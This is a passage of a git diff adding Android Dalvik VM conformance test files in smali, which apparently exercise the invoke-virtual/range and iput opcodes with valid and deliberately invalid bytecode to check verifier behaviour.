+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali
new file mode 100644
index 0000000..a7f8d0c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali

@@ -0,0 +1,77 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(IIIIIIIIII)I
+.registers 11
+    const v0, 10
+    if-ne v0, v10, :Label0
+    const v0, 9
+    if-ne v0, v9, :Label0
+    const v0, 8
+    if-ne v0, v8, :Label0
+    const v0, 7
+    if-ne v0, v7, :Label0
+    const v0, 6
+    if-ne v0, v6, :Label0
+    const v0, 5
+    if-ne v0, v5, :Label0
+    const v0, 4
+    if-ne v0, v4, :Label0
+    const v0, 3
+    if-ne v0, v3, :Label0
+    const v0, 2
+    if-ne v0, v2, :Label0
+    const v0, 1
+    if-ne v0, v1, :Label0
+
+    const v0, 1
+    return v0
+:Label0
+    const v0, 0
+    return v0
+
+.end method
+
+.method public run()I
+.registers 16
+       move-object v0, v15
+         const v1, 1
+          const v2, 2
+          const v3, 3
+          const v4, 4
+          const v5, 5
+          const v6, 6
+          const v7, 7
+          const v8, 8
+          const v9, 9
+          const v10, 10
+
+       invoke-virtual/range {v0..v10}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2;->test(IIIIIIIIII)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali
new file mode 100644
index 0000000..d73686f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
+.registers 5
+:Label0
+
+       invoke-virtual/range {v4}, Ldot/junit/opcodes/invoke_virtual_range/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali
new file mode 100644
index 0000000..73d9a3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;-><init>()V
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali
new file mode 100644
index 0000000..2441851
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_23.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali
new file mode 100644
index 0000000..7c2d886
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5;->test()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali
new file mode 100644
index 0000000..cd5e8a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6;
+.super  Ldot/junit/opcodes/invoke_virtual_range/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/ATest;->test()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali
new file mode 100644
index 0000000..643a5d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali
new file mode 100644
index 0000000..a96c49c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali
new file mode 100644
index 0000000..71441ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v7..v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali
new file mode 100644
index 0000000..0d066a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_1.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+.field protected  st_p1:I
+.field private  st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()I
+.registers 2
+
+       iget v0, v1, Ldot/junit/opcodes/iput/d/T_iput_1;->st_pvt1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_i1:I
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali
new file mode 100644
index 0000000..1e73685
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_10.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_10;->st_i1N:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali
new file mode 100644
index 0000000..7f8e05d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_11.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_11.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/TestStubs;-><init>()V
+
+       const v1, 1000000
+       iput v1, v0, Ldot/junit/opcodes/iput/TestStubs;->TestStubFieldFinal:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali
new file mode 100644
index 0000000..680708c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_12.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_12;
+.super  Ljava/lang/Object;
+
+.field public final st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_12;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali
new file mode 100644
index 0000000..5b459ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_13.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_13.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+.field protected  st_p1:I
+.field private  st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 1000000
+       iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_13;->st_i1:I
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali
new file mode 100644
index 0000000..4ab5761
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_14.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_14;
+.super  Ldot/junit/opcodes/iput/d/T_iput_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/d/T_iput_1;-><init>()V
+       return-void
+.end method
+
+.method public getProtectedField()I
+.registers 2
+
+       iget v0, v1, Ldot/junit/opcodes/iput/d/T_iput_1;->st_p1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_p1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali
new file mode 100644
index 0000000..d518b3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_15.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_15;
+.super  Ldot/junit/opcodes/iput/d/T_iput_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput/d/T_iput_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 12321
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_1;->st_pvt1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali
new file mode 100644
index 0000000..f663a7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_17.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_17;->st_i1:I
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali
new file mode 100644
index 0000000..5d37c96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_18.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali
new file mode 100644
index 0000000..0cc4943
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_2.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_2;
+.super  Ljava/lang/Object;
+
+.field public  st_d1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const-wide v1, 1000000.000000
+       iput v1, v3, Ldot/junit/opcodes/iput/d/T_iput_2;->st_d1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali
new file mode 100644
index 0000000..9fc0af6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_21.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1234    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali
new file mode 100644
index 0000000..9e9f9c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_22.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_22;
